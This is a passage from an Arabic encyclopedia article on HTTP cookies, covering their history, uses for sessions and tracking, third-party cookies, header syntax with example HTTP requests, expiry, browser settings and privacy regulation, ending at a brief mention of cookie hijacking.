سجل المتصفح

(بالتحويل من كوكي)



في الحوسبة، سجل "cookie" (سجل التتبع أيضا سجل المتصفح ) هو قطعة نصية صغيرة مخزنة على حاسوب المستخدم من قبل مستعرض الويب. السجل يتكون من واحد أو أكثر من أزواج قيم الأسماء التي تحتوي على وحدات "bits" من المعلومات مثل تفضيلات المستخدم، محتويات عربة التسوق، المعرف لخادم معتمد علىدورة "session"، أو غيرها من البيانات التي تستخدمها المواقع.

يتم إرساله باعتباره ترويسة ميفاق نقل النص الفائق "HTTP header" من قبل خادم الويب لمتصفح الإنترنت ومن ثم اعادته دون تغيير عن طريق المتصفح في كل مرة يستخدم فيها هذا الخادم. السجل يمكن أن يستخدم للتوثيق، تتبع الدورة (صيانة الحالة "state maintenance")، وتذكر معلومات محددة حول المستخدمين، مثل تفضيلات المواقع أو محتويات من عربات التسوق الإلكتروني. مصطلح "كوكي" مشتق من "الكعكة السحرية" "magic cookie"، وهو مفهوم معروف في حوسبة يونيكس التي أوحت بكل من الفكرة واسم كوكيز المتصفح. بعض البدائل للكوكيز موجودة ؛ ولكل استخداماته الخاصة، ومزايه وعيوبه.

و لكونها مجرد قطعة نصية، فالسجل أو الكوكيز غير قابل للتنفيذ. أنها ليست برامج تجسس أو فيروسات، على الرغم من أن السجل أو الكوكيز من مواقع معينة يتم الكشف عنها من قبل العديد من منتجات مكافحة التجسس لأنها يمكن أن تسمح للمستخدمين أن يتابعوا عند زيارتهم لمواقع مختلفة.

معظم برامج التصفح الحديثة تتيح للمستخدمين أن يقرروا قبول ملفات الكوكيز، والإطار الزمني للاحتفاظ بها، ولكن رفض الكوكيز يجعل بعض المواقع غير صالحة للاستعمال. على سبيل المثال، عربات التسوق أو أنظمة الدخول المصممة باستخدام الكوكيز لا تعمل في حالة تعطيل ملفات الكوكيز.

التاريخ

مصطلح "كوكي" مشتقة من "الكعكة السحرية"، والذي هو حزمة من البيانات يستقبلها برنامج ويرسلها مرة أخرى دون تغيير. الكوكيز السحرية استخدمت بالفعل في مجال الحوسبة عندما جاءت الفكرة لـلو مونتولي لاستخدامها في الإنترنت والاتصالات في حزيران / يونيو 1994.[١] في ذلك الوقت، كان موظف في نتسكيب كوميونيكيشنز، التي كانت تصمم تطبيق للتجارة الإلكترونية لأحد الزبائن. الكوكيز توفر حلا لمشكلة التوثيق عن طريق عربة التسوق الوهمية. [٢][٣]

جنبا إلى جنب جون جيان اندريا ومونتولي كتبا نتسكيب كوكي الأولي في نفس العام. الإصدار 0.9 البيتا من موسيك نتسكيب، الذي صدر في 13 تشرين الأول، 1994، [٤][٥] يدعم الكوكيز. أول استخدام للكوكيز (خارج المختبرات) كان يتحرى عما إذا كان زوار موقع نتسكيب سبق لهم أن زاروا الموقع. موتولي رشح للحصول على براءة اختراع لتكنولوجيا الكوكي في عام 1995، قالب:Cite patent وقد منحت له في عام 1998. دعم الكوكيز ملحق في إنترنت إكسبلورر في الإصدار 2، الذي صدر في أكتوبر 1995.[٦]

بداية الكوكيز لم تكن معروفة على نطاق واسع للعامة في ذلك الوقت. على وجه الخصوص، تم قبول الكوكيز افتراضيا، والمستخدمين لم يكونوا يخطرون عن وجود ملفات الكوكيز. بعض الناس كانوا على علم بوجود هذه الملفات في وقت مبكر في الربع الأول من عام 1995، [٧] ولكن عامة الناس علموا بهم بعد أن نشرت فاينانشال تايمز مقالا عنها في 12 فبراير، 1996. في السنة نفسها، الكوكيز تلقت الكثير من الاهتمام الاعلامي، وخصوصا بسبب تداعيات ذلك على الخصوصية المحتملة. الكوكيز نوقشت في اثنين من جلسات استماع لجنة التجارة الاتحادية بالولايات المتحدة في عامي 1996 و 1997.

تطوير مواصفات الكوكيز الرسمية كانت جارية بالفعل. ولا سيما في أول لقاء رسمي حول المواصفات الذي بدأ في نيسان / أبريل 1995 على قائمة البريد الإلكتروني لشبكة الاتصالات العالمية. تشكل فريق عمل خاص في إطار فريق مهام الإنترنت الهندسية. اثنين من الاقتراحات البديلة لإدخال الحالة في تعاملات المتشعب "HTTP transactions" كان قد اقترحها بريان بيليندورف وديفيد كريستول على التوالي، ولكن هذه المجموعة، التي يرأسها كريستول نفسه، سرعان ما قررت استخدام مواصفات نتسكيب كنقطة انطلاق. شباط / فبراير 1996، حدد الفريق العامل الطرف الثالث للكوكيز باعتباره تهديدا كبيرا للخصوصية. المواصفات التي وضعتها المجموعة نشرت أخيرا كـ " RFC 2109 " في شباط / فبراير 1997. إنه ينص على أن الطرف الثالث للكوكيز كان إما غير مسموح به على الإطلاق، أو على الأقل لم يتم تشغيله افتراضيا.

في هذا الوقت، شركات الدعاية تستخدم بالفعل الطرف الثالث للكوكيز. التوصية حول الطرف الثالث للكوكيز من " RFC 2109 " لم تكن متبعة من قبل نتسكيب وإنترنت اكسبلورر. RFC 2109 عقبتها RFC 2965 في تشرين الأول 2000.

الاستخدامات

إدارة الجلسة " Session "

يمكن أن تستخدم الكوكيز للحفاظ على البيانات المتصلة بالمستخدم أثناء التصفح، وربما عبر زيارات متعددة. الكوكيز أدخلت لتوفير وسيلة لتنفيذ "عربة التسوق" (أو "سلة التسوق")، [٢][٣] في جهاز ظاهري يمكن المستخدم من تخزين المواد التي يريد شراءها أثناء التنقل في الموقع.

اليوم تطبيقات سلة التسوق عادة ما تخزن قائمة من محتويات السلة في قاعدة بيانات عند الخادم، بدلا من تخزين المواد في سجلات الكوكيز نفسها. خادم الويب عادة ما يرسل سجل كوكي يحتوي على معرف جلسة معين. متصفح الويب سوف يرسل مرة أخرى معرف الجلسة هذا مع كل طلب لاحق، وبنود سلة التسوق يتم تخزينها مرتبطة بمعرف جلسة معين.

السماح للمستخدمين لتسجيل الدخول إلى موقع على الشابكة (الإنترنت ) هو الاستخدام المتكرر للكوكيز. عادة خادم الويب سوف يرسل أولا سجل كوكي يحتوي على معرف جلسة معين. ثم يقدم المستخدمين بيانات اعتمادهم ثم يصدق التطبيق على الجلسة، ويتيح للمستخدم الحصول على الخدمات.

الخصوصية

يمكن أن تستخدم الكوكيز لتذكر معلومات عن المستخدم الذي زار موقع على شبكة الإنترنت من اجل اظهار محتويات ذات صلة في المستقبل. على سبيل المثال خادم الويب يمكنه إرسال ملف يحتوي على آخر اسم مستخدم تم استخدامه لتسجيل الدخول إلى موقع على شبكة الإنترنت بحيث يمكن شغلها في المستقبل.

العديد من المواقع تستخدم الكوكيز للتخصيص على أساس أفضليات المستخدمين. مستخدمين يحددون اختياراتهم عن طريق ادخالها في نموذج على شبكة الإنترنت، وتقديم النموذج إلى الخادم. الخادم يقوم بترميز الأفضليات في سجل الكوكي ويرسله إلى المستعرض. بهذه الطريقة، في كل مرة يستخدم المستخدم صفحة، أيضا يبعث الخادم الكوكيز حيث يتم تخزين التفضيلات، ويمكن تخصيص الصفحة وفقا لتفضيلات المستخدم. على سبيل المثال، في موقع ويكيبيديا يسمح للمستخدمين المعتمدين اختيار مظهر صفحة الويب التي يفضلونها، و جوجل محرك البحث يسمح للمستخدمين (حتى غير المسجلين منهم) لتحديد عدد نتائج البحث في الصفحة التي يريد أن يراها.

التتبع

تتبع الكوكيز قد يستخدم لتعقب عادات مستخدمي الإنترنت في تصفح شبكة الإنترنت. ويمكن أيضا أن يتم ذلك في جزء منه عن طريق استخدام عنوان بروتوكول الإنترنت للحاسوب الذي طلب الصفحة أو في الحقل المحيل من رأس المتشعب، ولكن الكوكيز تسمح لمزيد من الدقة. هذا يمكن أن يتم على سبيل المثال على النحو التالي :

  1. إذا طلب المستخدم صفحة من الموقع، ولكن الطلب لا يتضمن أي سجل كوكي، الخادم يفترض أن هذه هي الصفحة الأولى التي زارها المستخدم ؛ الخادم يقوم بإنشاء سلسلة عشوائية ويرسلها كسجل كوكي إلى المستعرض جنبا إلى جنب مع الصفحة المطلوبة ؛
  2. انطلاقا من هذه النقطة، فإن الكوكيز ترسل تلقائيا بواسطة المتصفح إلى الخادم في كل مرة تطلب صفحة جديدة من الموقع ؛ الخادم يرسل الصفحة كالمعتاد، ولكن أيضا يخزين عنوان الصفحة المطلوبة، وتاريخ/وقت للطلب، والكوكي في ملف الدخول " log file ".

من خلال النظر في ملف الدخول، ومن ثم يمكن معرفة الصفحات التي زارها المستخدم وبأي تسلسل. على سبيل المثال، إذا كان ملف الدخول يحتوي على بعض الطلبات التي تمت باستخدام ملف كوكي id=dfhsiw، فإنه يمكن تحديد أن جميع هذه الطلبات تأتي من المستخدم نفسه. عنوان الموقع والتاريخ / الوقت المخزن مع ملف الكوكي يسمح لمعرفة الصفحات التي زارها المستخدم، وفي أي وقت.

كوكيز الطرف الثالث و شوائب ويب " bugs "، الموضحة أدناه، أيضا تسمح بالتتبع عبر مواقع متعددة. التتبع داخل موقع عادة ما يستخدم لتوليد إحصاءات الاستخدام، في حين التتبع عبر المواقع عادة ما يستخدم من قبل شركات الاعلان لإنتاج ملفات تعريف المستخدم المجهول (التي تستخدم بعد ذلك لتحديد أي إعلانات ينبغي أن تظهر للمستخدم).

كوكي التتبع قد يحتمل تعديا على خصوصية المستخدم ولكن يمكن إزالتها بسهولة. الإصدارات الحالية من متصفحات الويب الشهيرة تشمل خيارات لحذف 'الكوكيز المستمرة' عند إغلاق التطبيق.

الطرف الثالث للكوكيز

صور أو أشياء أخرى واردة في صفحة الويب قد تتواجد في خوادم مختلفة عن الذي يحتوي على الصفحة. من اجل اظهار هذه الصفحة، المتصفح يحمل كل هذه الأشياء، وربما تلقي ملفات الكوكيز. وتسمى هذه الكوكيز كوكيز الطرف الثالث إذا كان الخادم المسئول عن ارسالهم يقع خارج نطاق صفحة الويب.

هذا الشرط شائع في الإعلانات على الإنترنت. في الواقع، اللافتات على شبكة الإنترنت "banners " ما تكون مخزنة في خوادم الشركة الإعلانية، التي ليست في نطاق صفحات الويب التي تظهر للمستخدمين. إذا كانت كوكيز الطرف الثالث لا يتم رفضها من قبل المتصفح، فشركات الدعاية يمكنها تتبع المستخدم عبر المواقع التي وضعت فيها لافتة "banner". على وجه الخصوص، كلما عرض مستخدم صفحة تحتوي على لافتة، المتصفح يقوم باسترداد اللافتة من خادم الشركة الإعلانية. إذا كان هذا الخادم سبق له تعيين ملف كوكي، المتصفح يرسله مرة أخرى، مما يتيح للشركة الإعلانية ربط بين هذا العرض بالذي سبقه. عن طريق اختيار عنوان لافتة معين لكل صفحة ويب حيث يتم وضعه أو باستخدام حقل المحيل للمتشعب، يمكن للشركة الإعلانية معرفة الصفحات التي قام المستخدم بعرضها. ويمكن أن يستخدم نفس الأسلوب مع شوائب الويب.هذه، على عكس اللافتات الواضحة، فهي الصور المضمنة في صفحة ويب التي لا يمكن اكتشافها من قبل المستخدم (على سبيل المثال تكون صغيرة و/ أو شفافة).

كوكيز الطرف الثالث يتم استخدامها لإنشاء ملف تعريف المستخدم المجهول. هذا يسمح لشركات الإعلانات باختيار لافتة لتظهر للمستخدم على أساس ملف المستخدم. صناعة الإعلان تنفي أي استخدام آخر لهذه الملفات التعريفية. [بحاجة لمصدر]

العديد من المتصفحات الحديثة، مثل موزيلا فايرفوكس، إنترنت إكسبلورر وأوبرا تمنع كوكيز الطرف الثالث إذا طلب هذا من قبل المستخدم. إنترنت إكسبلورر الإصدار 6 يسمح بشكل خفيف من المنع، يدعى التقييد leashing. الكوكي المقيد هو كوكي الطرف الثالث الذي يتم إرساله من قبل المتصفح فقط عند الوصول إلى وثيقة طرف ثالث عن طريق نفس الطرف الأول. على سبيل المثال، إذا قام third.com بإعداد كوكي عند طلب صورة، وهذا الكوكي تم تعيينه لأول مرة عندما قام المستخدم بعرض وثيقة من first.com، فإن الكوكي نفسه لا يتم إرساله إذا قام المستخدم بتحميل مستند يحتوي على نفس الصورة ولكن الوثيقة على موقع آخر other.com، إذا كان الكوكي مقيد. الكوكي المقيد يختلف عن الكوكي الممنوع في أنه أرسل، في هذا المثال، إذا كانت الصورة واردة في وثيقة أخرى من نفس الموقع first.com.[٨]

التنفيذ

ملف:HTTP cookie exchange.svg
التفاعل الممكن بين مستعرض ويب وخادم يحمل صفحة ويب، الذي يرسل فيه الخادم ارتباط إلى المتصفح والمتصفح يرسله عند طلب صفحة أخرى.

الكوكيز هي قطع تعسفية من البيانات التي يختارها خادم الويب ويرسلها إلى المستعرض. المتصفح يعيدهم إلى الخادم دون تغيير، ويعرض الحالة (ذاكرة الأحداث السابقة) في معاملات المتشعب خلاف هذه عديمة الحالة. بدون الكوكيز، كل استرجاع من صفحة ويب أو مكون من صفحة ويب هو حدثا معزولا، ومعظمهم لا علاقة له بجميع الاستعراضات الأخرى في صفحات الموقع نفسه. بخلاف التي يجري وضعها من قبل خادم الويب، ويمكن أيضا أن يت وضع الكوكيز عن طريق نص بلغة مثل جافا سكريبت، إذا تم دعمها وتمكينها من قبل مستعرض ويب.

مواصفات الكوكي [٩][١٠] تشير إلى أن المتصفحات ينبغي أن تكون قادرة على حفظ وإرسال أقل عدد ممكن من ملفات الكوكيز. على وجه الخصوص، متصفح الإنترنت من المتوقع ان يكون قادر على تخزين ما لا يقل عن 300 من ملفات الكوكيز كل حجمه أربعة كيلوبايت، وعلى الأقل 20 ملف كوكي في الخادم أو النطاق.

وفقا للمادة 3.1 من RFC 2965، أسماء الكوكيز هي قضية حساسة.

واضع ملف الكوكي يمكن أن يحدد موعدا للحذف، وفي هذه الحالة سيتم حذف الكوكيز في ذلك التاريخ. إذا لم يحدد واضع ملف الكوكي أي موعد، فإن الكوكي يزال حال خروج المستخدم من المتصفح. نتيجة لذلك، تحديد موعد هو وسيلة لصنع ملف كوكي باق عبر الجلسات. لهذا السبب، الكوكيز المصحوبة بتاريخ انتهاء تسمى الدائمة. كتطبيق على سبيل المثال، يمكن لموقع التسوق استخدام ملفات الكوكيز الدائمة لتخزين بنود المستخدمين التي قد وضعت في السلة. (وفي الواقع، قد يشير ملف كوكي الرجوع إلى مدخل في قاعدة بيانات مخزنة في موقع للتسوق، وليس على جهاز الكمبيوتر الخاص بك.) بهذه الطريقة، لو أغلق المستخدم المتصفح دون اتخاذ قرار الشراء والعودة في وقت لاحق، فإنهم يجدون نفس البنود لا تزال في السلة بحيث لا ييحتاجون للبحث عن هذه البنود مرة أخرى. إذا كانت ملفات الكوكيز هذه لا تحمل تاريخ انتهاء، فإنها تنتهي عندما يتم إغلاق المستعرض، والمعلومات عن محتوى سلة سوف تضيع.

الكوكيز يمكن أيضا أن تكون محدودة النطاق في نطاق معين، أو مسار فرعي على خادم الويب الذي أنشأها.

إعداد ملف الكوكي

تنقل صفحات الويب يتبع بروتوكول نقل النص التشعبي (HTTP). بغض النظر عن الكوكيز، المتصفحات تطلب صفحة من خوادم الويب من خلال إرسال نص عادة ما يكون قصير ويدعى طلب المتشعب "HTTP reques". على سبيل المثال، للوصول إلى صفحة http://www.example.org/index.html، فإن المتصفحات تتصل بالخادم www.example.org عن طريق إرسال طلب كالتالي :

GET /index.html HTTP/1.1
Host: www.example.org
المتصفح
الخادم

يرد الخادم عن طريق إرسال الصفحة المطلوبة يسبقها حزمة مشابهة للنص، وتدعى 'استجابة المتشعب' "HTTP response". هذه الحزمة قد تحتوي على سطور تطلب من المتصفح تخزين ملفات الكوكيز:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
 
(content of page)
المتصفح
الخادم

يرسل الخادم هذا السطر Set-Cookie فقط إذا كان الخادم يود من المتصفح تخزين ملف الكوكي. Set-Cookie هو طلب للمتصفح لتخزين العبارة name=value وإرسالها مرة أخرى في جميع الطلبات المقدمة مستقبلا إلى الخادم. إذا كان المتصفح يدعم الكوكيز يسمح بها، في كل طلب صفحة لاحقة لنفس الخادم سوف يشمل ملف الكوكي. على سبيل المثال، المستعرض يطلب الصفحة http://www.example.org/spec.html عن طريق إرسال طلب للخادم www.example.org كما يلي :

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: name=value
Accept: */*
 
المتصفح
الخادم

هذا هو طلب لصفحة أخرى من نفس الخادم، ويختلف عن الأول المذكور أعلاه لأنه يحتوي على العبارة التي سبق للخادم إرسالها إلى المستعرض. بهذه الطريقة، فإن الخادم يعلم أن هذا الطلب هو متعلق بالطلب السابق. يجيب الخادم عن طريق إرسال الصفحة المطلوبة، وربما يضيف ملفات الكوكيز الأخرى كذلك.

إن قيمة ملف الكوكي يمكن تعديلها من قبل الخادم من خلال إرسال سطر Set-Cookie: name=newvalue جديد في استجابة لطلب صفحة. بعد ذلك يستبدل المستعرض القيمة القديمة بالجديدة.

مصطلح "كسرة الكوكي" يستخدم أحيانا للإشارة إلى زوج القيمة والاسم.[١١] ليست هذه هي نفس التصفح التفصيلي على شبكة الإنترنت، والذي هو تقنية لتظهر في كل صفحة قائمة بصفحات قد زارها المستخدم من قبل ؛ قد يمكن تنفيذ هذا الأسلوب باستخدام ملفات الكوكيز.

السطر Set-Cookie عادة لا ينشأ من فبل خادم المتشعب الأساسي ولكن من خلال برنامج واجهة المعابر المشتركة. مرفق خادم المتشعب الأساسي (مثلا اباتشي) فقط يرسل نتيجة هذا البرنامج (وثيقة يسبقها رأس يحتوي على الكوكيز) إلى المتصفح.

ويمكن أيضا أن تكون الكوكيز التي وضعتها جافا سكريبت أو البرامج النصية المماثلة تعمل داخل المتصفح. في جافا سكريبت ،الكائن document.cookie يستخدم لهذا الغرض. على سبيل المثال، الأمر document.cookie = "temperature=20" ينشئ ملف كوي اسمه temperature وقيمتة 20 [١٢]

خواص ملف الكوكي

بجوار زوج الاسم / القيمة، قد يحتوي ملف الكوكي أيضا على تاريخ انتهاء، والمسار، واسم النطاق، وإذا كان ملف الكوكي مخصص فقط للاتصالات المشفرة. RFC 2965 ينص أيضا على أن الكوكيز يجب أن يكون لها رقم إصدار إلزامي، ولكن عادة ما يغفل هذا. قطع البيانات هذه تتبع الزوج name=newvalue وتكون مفصولة بفاصلة منقوطة. على سبيل المثال، يمكن إنشاء ملف كوكي من جانب الخادم عن طريق إرسال الأمر Set-Cookie: name=newvalue; expires=date; path=/; domain=.example.org

ملف:HTTP-Cookie-Google.png
مثال على استجابة المتشعب من google.com، والتي تحدد ملف الكوكي وسماته.

المجال ومسار يخبرون المتصفح أن الكوكي يتعين إرساله إلى الخادم عند طلب عناوين من نطاق ومسار معين. إذا لم يكن محددا، فيوضع افتراضيا النطاق ومسار الكائن المطلوب. نتيجة لذلك، فأمر المجال والمسار يخبر المتصفح لارسال ملف الكوكي لأنه عادة لا يفعل. لأسباب أمنية، ملف الكوكي يقبل فقط إذا كان الخادم هو عضو في النطاق المحدد من قبل جملة النطاق.

الكوكيز في الواقع تحددتها تركيبة من الاسم، النطاق، والمسار، وليس فقط الاسم (مواصفات نتسكيب الأصلي تهتم فقط بالاسم والمسار). وبعبارة أخرى، نفس الاسم ولكن نطاقات أو مسارات مختلفة تحدد ملفات كوكيز مختلفة وربما مع قيم مختلفة. نتيجة لذلك، يتم تغيير قيم ملف الكوكي فقط إذا أعطت قيمة جديدة لنفس الاسم، والنطاق، والمسار.

تاريخ الانتهاء يخبر المتصفح عند موعد حذف الكوكيز. إذا لم يتم توفير تاريخ انتهاء، يتم حذف ملفات الكوكيز في نهاية جلسة المستخدم، وهذا عندما يغلق المستخدم المتصفح. نتيجة لذلك، تحديد تاريخ الانتهاء هو وسيلة لصنع ملف كوكي باق عبر جلسات المتصفح. لهذا السبب، الكوكيز التي لها تاريخ انتهاء تسمى الدائمة.

تاريخ الانتهاء يحدد في النموذج "Wdy، يوم - شهر - سنة ساعة : دقيقة : ثانية بتوقيت جرينتش". على سبيل المثال، ما يلي هو ملف كوكي أرسله خادم ويب (شريحة القيمة قد تغيرت) :

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net

اسم هذا الكوكي هو RMID، في حين أن قيمة الشريحة هي 732423sdfs73242 الخادم يمكنه استخدام شريحة تعسفية كقيمة لملف الكوكي. الخادم قد يهدم قيمة عدد من المتغيرات في شريحة واحدة، على سبيل المثال a=12&b=abcd&c=32 شرائح المسار والنطاق /.example.net تخبر المتصفح لإرسال الكوكي عند طلب صفحة تعسفية من النطاق .example.net مع مسار تعسفي.

انتهاء الصلاحية

الكوكيز تنتهي، وبالتالي فهي لم ترسل من قبل المتصفح إلى الخادم، تحت أي من هذه الشروط :

  1. في نهاية جلسة المستخدم (أي عند غلق المتصفح) إذا لم يكن ملف الكوكي دائم
  2. تاريخ انتهاء الصلاحية تم تحديده، ولقد مر
  3. تاريخ انتهاء الصلاحية لملف الكوكي تغير (من قبل خادم أو نص) إلى تاريخ في الماضي
  4. المتصفح حذف ملف الكوكي من خلال طلب المستخدم

الشرط الثالث يسمح للخادم أو النص أو بحذف الكوكيز صراحة. نلاحظ أن المستعرض لا يرسل إلى الخادم معلومات حول مدى حياه ملف الكوكي، ولذلك لا توجد طريقة للخادم لمعرفة ما إذا كان ملف الكوكي سينتهي قريبا.

المفاهيم الخاطئة

منذ بدء العمل بها على الإنترنت، والمفاهيم الخاطئة حول ملفات الكوكيز قد وزعت على شبكة الإنترنت وفي وسائل الإعلام.[١٣][١٤] في عام 1998، في وزارة الطاقة الأمريكية، فريق الاستجابة الكمبيوتر بالولايات المتحدة بوزارة الطاقة، وجدت حساس الأمن "غير موجود أساسا"، واوضح ان "معلومات حول المكان الذي جئت منه، وما صفحات الويب التي تزورها موجود بالفعل في ملفات التسجيل بخادم الويب ".[١٥] في عام 2005، نشرت جوبيتر للأبحاث نتائج دراسة استقصائية، [١٦] وفقا للنسبة التي تتفق من المشاركين الذين يرون الادعاءات الزائفة التالية :

الكوكيز لا يمكن أن تمحو أو تقرأ معلومات من جهاز الكمبيوتر الخاص بالمستخدم.[١٧] ومع ذلك، الكوكيز تسمح للكشف عن صفحات الويب التي يتصفحها المستخدم على موقع معين أو مجموعة من المواقع. هذه المعلومات يمكن جمعها في ملف تعريف المستخدم. بعض ملفات التعريف مجهولة، بمعنى أنها لا تحتوي على معلومات شخصية، ولكن حتى هذه النبذات يمكن أن تكون مثيرة للجدل. [بحاجة لمصدر]

وفقا للاستطلاع ذاته، نسبة كبيرة من مستخدمي الإنترنت لا يعرفون كيفية حذف ملفات الكوكيز. واحد من أسباب أن الناس لا يثقون في مفهوم الكوكيز لأن بعض المواقع قد استغلت جانب الهوية الشخصية في الكوكيز وشاركوهم فيه. وهناك نسبة كبيرة من الإعلانات المستهدفة يأتي من معلومات استقاها من تتبع الكوكيز.

إعدادات المتصفح

معظم برامج التصفح الحديثة تدعم الكوكيز وتسمح للمستخدم بتعطيلها. وفيما يلي الخيارات الشائعة :[١٨]

  1. لتمكين أو تعطيل الكوكيز تماما، بحيث تكون دائما مقبولة أو دائما معطلة.
  2. للسماح للمستخدم بأن يرى الكوكيز المنشطة فيما يتعلق بالصفحة بكتابة javascript:alert(document.cookie) في حقل العنوان في المتصفح.بعض المتصفحات تدرج مدير الكوكيز للمستخدم حتى يرى وبشكل انتقائي يحذف الكوكيز المخزنة حاليا في المتصفح.

معظم برامج التصفح تتيح أيضا مسح كامل للبيانات الخاصة بما في ذلك ملفات الكوكيز. أدوات الإضافة لإدارة أذونات الكوكيز أيضا موجودة.[٨][١٩][٢٠][٢١]

الخصوصية والطرف الثالث للكوكيز

الكوكيز لها بعض الآثار الهامة على الخصوصية وعدم الكشف عن الهوية لمستخدمي الإنترنت. في حين يتم إرسال ملفات الكوكيز فقط إلى الخادم الذي أعدها أو الخادم في نطاق الإنترنت نفسه، صفحة ويب قد تحتوي على صور أو غيرها من المكونات تخزينها على خوادم في النطاقات الأخرى. ملفات الكوكيز التي تم تعيينها من خلال استرجاع هذه المكونات تسمى كوكيز الطرف الثالث. ويشمل هذا الكوكيز من الإعلانات المنبثقة الغير مرغوب فيها.

ملف:Third party cookie.svg
في هذا المثال الخيالي، اعلانات الشركة قد وضعت لافتات في موقعين من مواقع ويب. استضافة صور اللافتات على الخوادم واستخدام الكوكيز من الطرف الثالث، فإن الشركة قادرة على الإعلان عن مسار عملية تصفح المستخدمين عبر هذين الموقعين.

شركات الإعلان تستخدم الطرف الثالث للكوكيز لتعقب المستخدم عبر مواقع متعددة. على وجه الخصوص، يمكن لشركة اعلانات تتبع مستخدم في جميع الصفحات حيث وضعت صور الإعلانات أو شوائب شبكة الإنترنت. معلومات الصفحات التي تمت زيارتها من قبل مستخدم تسمح لشركة الدعاية لاستهداف الإعلان بناء على تفضيلات المستخدم المفترضة.

إمكانية بناء ملف تعريف عن المستخدمين يعتبره البعض تهديدا محتملا للخصوصية، وخاصة عندما يتم التتبع عبر عدة نطاقات باستخدام كوكيز الطرف الثالث. لهذا السبب، فإن بعض البلدان لديها تشريع حول ملفات تعريف الارتباط.

حكومة الولايات المتحدة قد وضعت قواعد صارمة بشأن وضع الكوكيز في عام 2000 بعد أن كشف النقاب عن أن مكتب سياسة المخدرات بالبيت الأبيض يستخدم الكوكيز لتعقب مستخدمي الكمبيوتر الذين يعرضون إعلاناتها لمكافحة المخدرات على شبكة الإنترنت. في عام 2002، وجد ناشط الخصوصية دانيال براندت أن وكالة المخابرات المركزية قد تركت كوكيز دائمة على أجهزة الكمبيوتر التي زارت موقعها على الشبكة العالمية. عندما عرف انها خرقت السياسات، ذكرت وكالة المخابرات المركزية الأمريكية أن هذه الملفات لم تكن متعمدة، وتوقفت عن تعيين الإعدادات لها.[٢٢] في 25 ديسمبر، 2005، برانت اكتشف أن وكالة الأمن القومي قد تركت اثنين من ملفات الكوكيز الدائم على أجهزة الكمبيوتر الخاصة بالزوار نتيجة لتطوير البرمجيات. بعد أن أبلغ، وكالة الأمن القومي على الفور قامت بتعطيل الكوكيز.[٢٣]

في عام 2002 توجيه الاتحاد الأوروبي لخصوصية الاتصالات السلكية واللاسلكية يتضمن قواعد بشأن استخدام الكوكيز.[٢٤] ولا سيما المادة 5، الفقرة 3 من هذا التوجيه تفيد بأن تخزين البيانات (مثل الكوكيز) في جهاز الكمبيوتر الخاص بالمستخدم يمكن أن يتم فقط إذا : (1) المستخدم يوفير المعلومات حول كيفية استخدام هذه البيانات، 2) يتم منح المستخدم إمكانية منع عملية تخزين هذه. ومع ذلك، هذه المقالة أيضا تفيد بأن البيانات المخزنة ضرورية لأسباب فنية تستثنى من هذه القاعدة. هذا التوجيه كان من المتوقع أن يطبق منذ أكتوبر عام 2003، ولكن تقرير ديسمبر 2004 يقول (صفحة 38) أن هذا الحكم لم يطبق في الممارسة العملية، وبأن بعض الدول الاعضاء (سلوفاكيا، لاتفيا، اليونان، بلجيكا، ولوكسمبورغ) لم تنفذ حتى الحكم في القانون الوطني. التقرير نفسه يشير إلى وجود تحليل دقيق للوضع في الدول الأعضاء.

و مواصفات P3P تتضمن إمكانية الخادم لوضع سياسة الخصوصية، والذي يحدد أي نوع من المعلومات التي يجمعها ولأي غرض. وتشمل هذه السياسات (ولكن لا تقتصر على) على استخدام المعلومات التي تم جمعها باستخدام ملفات الكوكيز. وفقا لمواصفات P3P، يمكن للمتصفح قبول أو رفض ملفات الكوكيز وذلك بمقارنة سياسة الخصوصية مع تفضيلات المستخدم المخزنة أو يطلب من المستخدم، بعد عرض سياسة الخصوصية وفقا لما أعلن من قبل الخادم.

العديد من متصفحات الويب بما في ذلك آبل سفاري وإصدارات مايكروسوفت إنترنت إكسبلورر 6 و 7 تدعم P3P التي تتيح لمتصفح الشبكة تحديد ما إذا كان سيسمح بتخزين كوكيز الطرف الثالث. ومتصفح الإنترنت أوبرا يسمح للمستخدمين برفض ملفات الطرف الثالث للكوكيز، وإنشاء ملفات التعريف العالمية والمحددة الأمنية لنطاقات الإنترنت.[٢٥] فايرفوكس 2.x أهمل هذا الخيار من نظام القائمة ولكنه اعاده مع انطلاق الإصدار 3.x.

كوكيز الطرف الثالث يمكن أن يكون قد تم حظرها من قبل معظم المستعرضات لزيادة الخصوصية والحد من التتبع من قبل شركات الدعاية بدون التأثير سلبا على استخدام المستخدم للإنترنت.[٢٦] العديد من مشغلات الإعلانات لديها خيار عدم التقيد بالإعلانات السلوكية، ذات ملف الكوكي العام في المتصفح الذي يعمل على وقف الدعاية السلوكية.[٢٧]

عيوب الكوكيز

إلى جانب المخاوف المتعلقة بالخصوصية، الكوكيز أيضا لها بعض العيوب التقنية. على وجه الخصوص، فهي لا تعرف بدقة دائما المستخدمين، ويمكن أن تستخدم للهجمات الأمنية، وأنها على خلاف مع نقل الحالة التمثيلية (REST) نمط البرمجيات المعمارية.[٢٨]

تحديد دقيق

إذا كان أكثر من متصفح واحد يستخدم على جهاز كمبيوتر، كل عادة لديه مساحة تخزين منفصلة للكوكيز. وبالتالي الكوكيز لا تحدد هوية الشخص، ولكنها مزيج من حساب المستخدم، الكمبيوتر، ومستعرض الويب. وبالتالي، فإن أي شخص يستخدم حسابات، وحواسيب، أو متصفحات متعددة يكون لديه مجموعات متعددة من الكوكيز.

وبالمثل، الكوكيز لا تفرق بين العديد من المستخدمين الذين يشتركون في نفس حساب المستخدم، والكمبيوتر، والمتصفح.

اختطاف الكوكي

ملف:Cookie-sniffing.svg
ويمكن أن يسرق ملف الكوكي من كمبيوتر آخر يسمح بالقراءة من الشبكة

الكوكيز أثناء التشغيل العادي ترسل جيئة وذهابا بين الخادم (أو مجموعة من الخوادم التي تعمل في نفس النطاق) وجهاز كمبيوتر المستخدم المتصفح. لأن الكوكيز قد تحتوي على معلومات حساسة (اسم المستخدم، مدخل مستخدم للمصداقية، الخ) ينبغي لقيمها ألا تصل إلى أجهزة الكمبيوتر الأخرى. سرقة الكوكي هو فعل اعتراض طريق الكوكيز من قبل طرف غير مصرح به.

